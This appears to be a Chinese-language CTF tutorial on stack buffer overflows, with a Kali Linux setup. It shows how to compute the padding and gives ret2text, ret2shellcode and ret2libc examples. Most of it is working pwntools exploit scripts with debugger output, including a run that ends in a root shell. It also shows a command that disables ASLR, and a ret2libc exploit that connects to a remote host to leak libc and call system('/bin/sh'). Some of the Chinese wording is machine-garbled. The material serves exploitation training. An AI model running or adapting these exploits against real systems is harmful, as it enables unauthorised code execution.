PWN-栈溢出入门
溢出padding计算
办法1:esp/ebp间隔计算
- 溢出函数处下断点
b main - 记录esp、ebp
EBP: 0xbffff508 --> 0x0 ESP: 0xbffff480 --> 0x0
- 找到溢出函数参数地位
0x804858c <main+95>: lea eax,[esp+0x1c]
padding = (ebp - (esp+1c)) + 4 = (0xbffff508 - 0xbffff480 - 0x1c ) +4 = 112
办法2:pattern_create
通常状况下ebp + 4/rbp + 8更精确
pattern_offset $ebppattern_offset $eippattern_offset $rbppattern_offset $rip
办法3:cyclic
┌──(rootkali)-[/home/kali/Desktop/CTF]└─# cyclic 200 148 ⨯ 1 ⚙[!] Pwntools does not support 32-bit Python. Use a 64-bit release.aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab ┌──(rootkali)-[/home/kali/Desktop/CTF]└─# gdb ret2shellcode 1 ⚙gdb-peda$ runStarting program: /home/kali/Desktop/CTF/ret2shellcode No system for you this time !!!aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabbye bye ~Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x0 EBX: 0x0 ECX: 0x9 ('\t')EDX: 0xffffffff ESI: 0xb7fb0000 --> 0x1e4d6c EDI: 0xb7fb0000 --> 0x1e4d6c EBP: 0x62616163 ('caab')ESP: 0xbffff510 ("eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")EIP: 0x62616164 ('daab')EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x62616164Legend: code, data, rodata, valueStopped reason: SIGSEGV0x62616164 in ?? ()gdb-peda$ zsh: suspended gdb ret2shellcode ┌──(rootkali)-[/home/kali/Desktop/CTF]└─# cyclic -l "0x62616164" 148 ⨯ 2 ⚙[!] Pwntools does not support 32-bit Python. Use a 64-bit release.112
栈溢出利用
ret2text
ret2text 即控制程序执行程序自身已有的的代码(.text)
示例
// gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text#include <stdio.h>#include <string.h>void success() { puts("SUCCESS!!!"); system("cat flag");}void vulnerable() { char s[12]; gets(s); puts(s); return;}int main(int argc, char **argv) { vulnerable(); return 0;}
.text段存在flag要害信息函数
计算溢出长度
xxxxx
python代码
from pwn import *sh = process("./ret2text")win = 0x8049182sh.sendline(b'A'*24 + p32(win))sh.interactive()
ret2shellcode
图1
图2
问题:如何确定shellcode起始地址
敞开ASLR
ASLR(零碎开启的)ASLR是一种针对缓冲区溢出的平安爱护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过减少攻击者预测目标地址的难度,避免攻击者间接定位攻打代码地位,达到阻止溢出攻打的目标。在linux中应用此技术后,杀死某程序后从新开启,地址换。在windows中应用此技术后,杀死过程后从新开启,地址不换,重启才会扭转。 以上cat命令输入的值示意:0 - 示意敞开过程地址空间随机化。1 - 示意将mmap的基址,stack和vdso页面随机化。2 - 示意在1的根底上减少栈(heap)的随机化。
echo 0 > /proc/sys/kernel/randomize_va_space
echo 1 > /proc/sys/kernel/core_uses_pid
示例
#include <unistd.h>void vuln_func(){ char buf[128]; read(STDIN_FILENO,buf,256);}int main(void){ vuln_func(); write(STDOUT_FILENO,"hello world!\n",13);}
1. 执行溢出确定溢出地址和core文件
为什么是$esp-140-4 因为此时的esp指向函数返回地址
函数是执行ret之后才报错的,所以此时代码曾经执行实现ret,也就是说esp指向(返回地址 + 4)
┌──(rootkali)-[/home/kali/Desktop/CTF]└─# gdb stack3 core.2936 -q 1 ⚙Reading symbols from stack3...(No debugging symbols found in stack3)[New LWP 2936]Core was generated by `./stack3'.Program terminated with signal SIGSEGV, Segmentation fault.#0 0xbf91afc0 in ?? ()gdb-peda$ x/4wx $esp-140-40xbffff4c0: 0x2f68686a 0x68732f2f 0x6e69622f 0x0168e389gdb-peda$ zsh: suspended gdb stack3 core.2936 -q
#!/usr/bin/env pythonfrom pwn import *sh = process('./stack3')# 办法1shellcode = asm(shellcraft.sh())buf2_addr = 0xbffff4c0print(shellcode)pause()sh.sendline(shellcode + b'B'*(140-len(shellcode)) + p32(buf2_addr) ) sh.interactive()
办法2:
┌──(rootkali)-[/home/kali/Desktop/CTF]└─# gdb stack3 core.2961 -q 6 ⚙Reading symbols from stack3...(No debugging symbols found in stack3)[New LWP 2961]Core was generated by `./stack3'.Program terminated with signal SIGSEGV, Segmentation fault.#0 0xbf91afc0 in ?? ()gdb-peda$ x/4wx $esp0xbffff550: 0xbffff50a 0x00000000 0x00000000 0xb7de9e46gdb-peda$ #!/usr/bin/env pythonfrom pwn import *sh = process('./stack3')# 办法2buf2_addr = 0xbffff550 # 就是esp的值print(shellcode)pause()sh.sendline(b'b'*140+ p32(buf2_addr) + shellcode) sh.interactive()
┌──(rootkali)-[/home/kali/Desktop/CTF]└─# python3 stack3.py 3 ⚙[!] Pwntools does not support 32-bit Python. Use a 64-bit release.[+] Starting local process './stack3': pid 3037b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'[*] Switching to interactive mode$ iduid=0(root) gid=0(root) groups=0(root),143(kaboxer)$ [*] Interrupted[*] Stopped process './stack3' (pid 3037)
ret2libc
例1
IDA剖析
sh_addr = 0x08048720
system_addr = 0x08048460
padding = 112
exp
from pwn import *sh = process("./ret2libc1")binsh = 0x08048720system_plt = 0x08048460whatever_addr = 0x11111111payload = b"a" * 112payload += p32(system_plt)payload += p32(whatever_addr)# 这里就是调用system的返回地址,没有实际意义payload += p32(binsh)sh.sendline(payload)sh.interactive()
例2
checksec
xxxxx
计算padding = 112
.bss buf2 = 0x0804A080
gets = 08048460
system = 08048490
栈状况剖析
exp
from pwn import *sh = process("./ret2libc2")get_addr = 0x08048460buf_addr = 0x0804A080system_addr = 0x08048490payload = b"Q" * 112payload += p32(get_addr)payload += p32(system_addr)payload += p32(buf_addr)payload += p32(buf_addr)sh.sendline(payload)sh.sendline("/bin/sh")sh.interactive()
exp2
from pwn import *sh = process("./ret2libc2")elf = ELF("./ret2libc2")get_addr = elf.plt['gets']system_addr = elf.plt['system']buf_addr = elf.symbols['buf2']payload = b"Q" * 112payload += p32(get_addr)payload += p32(system_addr)payload += p32(buf_addr)payload += p32(buf_addr)sh.sendline(payload)sh.sendline("/bin/sh")sh.interactive()
例3
函数基址 base = A函数got - A函数libc = B函数got - B函数libc
xctf level3
libc_write = 0x000D43C0
libc_system = 0x0003A940
libc_bin = 0x0015902B
1. from pwn import * 2. 3. p=remote('111.200.241.244',65388) 4. elf=ELF('./level3') 5. libc = ELF('./libc_32.so.6') 6. 7. write_plt=elf.plt['write'] 8. write_got=elf.got['write'] 9. main_addr=elf.sym['main'] 10. 11. p.recvuntil(":\n") 12. payload1=b'A'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) 13. p.sendline(payload1) 14. 15. write_got_addr=u32(p.recv()) 16. 17. libc_write = 0x000D43C0 18. libc_system = 0x0003A940 19. libc_bin = 0x0015902B 20. 21. # libc_base=write_got_addr-libc.sym['write'] 22. libc_base=write_got_addr-libc_write 23. system_addr = libc_base+libc_system 24. # system_addr = libc_base+libc.sym['system'] 25. 26. bin_sh_addr = libc_base + 0x15902b 27. payload2=b'A'*(0x88+4)+p32(system_addr)+p32(0x12341234)+p32(bin_sh_addr) 28. p.recvuntil(":\n") 29. p.sendline(payload2) 30. p.interactive()